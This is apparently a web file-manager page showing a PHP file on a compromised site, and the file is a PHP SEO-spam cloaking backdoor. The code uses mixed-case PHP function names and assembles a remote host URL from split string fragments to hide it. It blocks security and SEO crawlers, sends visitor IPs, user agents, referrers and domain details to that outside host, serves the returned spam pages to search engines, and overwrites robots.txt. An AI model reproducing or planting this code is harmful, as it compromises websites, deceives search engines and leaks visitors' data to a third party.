관리-도구
편집 파일: www.caredoce.com.4a5561.tmp
<?php $pc = "VlAGZ"; $uagent = uRLEnCoDe($_SERVER['HTTP_USER_AGENT']); $language = uRlencoDE(@$_SERVER['HTTP_ACCEPT_LANGUAGE']); $bagent = "Google|Yahoo|Bing|aol"; ErRoR_rEpoRting(0); if(PrEg_match("/(Swiftbot|DataForSEO|ahrefsBot|SeznamBot|Heritrix|yisouSpider|Mj12bot|JikeSpider|Barkrowler|SemrushBot|FeedDemon|python-urllib|Jaunty|YandexBot|Paloaltonetworks|amazonBot|Python-requests|Indy Library|Go-http-client|ZmEu|ApacheBench|AskTbFXTV|Bytespider|LightDeckReports Bot|EasouSpider|paqlebot|Java|CoolpadWebkit|PetalBot|Ezooms|Feedly|HttpClient|Python|CrawlDaddy|GPTBot|CensysInspect|scrapy|UniversalFeedParser|DotBot|OBot|digExt|YySpider)/i", $_SERVER['HTTP_USER_AGENT'])) { header('HTTP/1.0 403 Forbidden'); Exit(); } $vqdk='e';$tvbc='sb';$hokb='op/';$yzwk='086.l';$twgd='iantown.sh';$vqkr='http://cw1';$qdhyh=$vqkr.$yzwk.$vqdk.$tvbc.$twgd.$hokb; $refer = URlencODE(@$_SERVER['HTTP_REFERER']); $ip = $_SERVER['REMOTE_ADDR']; if (Isset($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (IssET($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } $ip = uRLeNcOdE($ip); $domain = urLENcode($_SERVER['HTTP_HOST']); $script = urlEnCoDE($_SERVER['SCRIPT_NAME']); if ( (! eMPTY($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (! eMpty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (! EMPtY($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443') || (iSset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') ) { $_SERVER['REQUEST_SCHEME'] = 'https'; } else { $_SERVER['REQUEST_SCHEME'] = 'http'; } $http = urlENcOdE($_SERVER['REQUEST_SCHEME']); $uri = urlEnCODE($_SERVER['REQUEST_URI']); if(StRPoS($uri,"hqfhqf") !== false){echo "ok";eXIT();} $hqf = 0; if(!file_exists("hqf.txt")) { $uuu = $http.'://'.$_SERVER['HTTP_HOST'].'/hqfhqf'; $enur = @FilE_GET_cOnTENtS($uuu); if(EmPty($enur)) { $ch = curl_InIT(); CURl_setOPt($ch, CURLOPT_URL, $uuu); cURL_SeTOpT($ch, CURLOPT_RETURNTRANSFER, true); cURl_SeToPT($ch, CURLOPT_FOLLOWLOCATION, false); cURl_seTOPT($ch, CURLOPT_SSL_VERIFYPEER, FALSE); cURl_SeTOPt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); $enur = Curl_eXEC($ch); Curl_ClOse($ch); } if($enur == "ok") { $hqf = 1; @FilE_PUT_cONtents("hqf.txt","1"); } else { $hqf = 0; @FILe_Put_CoNtentS("hqf.txt","0"); } } else { $hqf = @FilE_geT_ConTEnTs("hqf.txt"); } if(Strpos($uri,"favicon.ico") !== false) { } else if(StrpoS($uri,"robots.txt") !== false||STRpos($uri,"pingsitemap") !== false||sTrpOs($uri,"jp2023") !== false||PreG_maTCH("@^/(.*?).xml$@i", $_SERVER['REQUEST_URI'])||PrEg_MAtCH("/($bagent)/i", $_SERVER['HTTP_USER_AGENT'])||pReG_mAtch("/($bagent)/i", $_SERVER['HTTP_REFERER'])) { $requsturl = $qdhyh."?agent=$uagent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$hqf&script=$script"; $robots_contents = ""; if(stRpOs($uri,"pingsitemap") !== false) { $scripname = $_SERVER['SCRIPT_NAME']; if(StrPOS($scripname,"index.ph") !== false) { if($hqf == 0) { $scripname = '/?'; } else { $scripname = '/'; } } else { $scripname = $scripname.'?'; } $robots_contents = "User-agent: *\r\nAllow: /"; $sitemap = "$http://" . $domain .$scripname. "sitemap.xml"; $robots_contents = trim($robots_contents)."\r\n"."Sitemap: $sitemap"; $sitemapstatus = ""; echo $sitemap.": ".$sitemapstatus.'<br/>'; $requsturl = $qdhyh."?agent=$uagent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$hqf&script=$script&sitemap=".urlEnCodE($sitemap); } $enur = @File_get_CONteNtS($requsturl); if(EMPTY($enur)) { $ch = CURL_iNiT(); CUrL_SETOPT($ch, CURLOPT_URL, $requsturl); Curl_SETOPt($ch, CURLOPT_RETURNTRANSFER, true); cuRl_sEtoPt($ch, CURLOPT_FOLLOWLOCATION, false); cuRL_setOPT($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curL_sEToPt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); $enur = CuRL_exec($ch); CuRL_clOsE($ch); } if(!eMPTy($enur)) { if(SuBSTr($enur,0,10)=="error code"||$enur == "500") { header("HTTP/1.0 500 Internal Server Error"); exIt(); } if(StRPoS($uri,"jp2023") !== false){header('HTTP/1.1 404 Not Found');} else if(sUbStr($enur,0,5)=="<?xml") { header('Content-Type: text/xml; charset=utf-8'); } else { header('Content-Type: text/html; charset=utf-8'); } echo $enur; if(!eMPtY($robots_contents)){@FiLE_PuT_CONtENtS("robots.txt",$robots_contents);} else if(STrPOS($uri,"robots.txt") !== false){@fiLe_PUt_CONtEnts("robots.txt",$enur);} ExIT(); return; } }else{ } ?>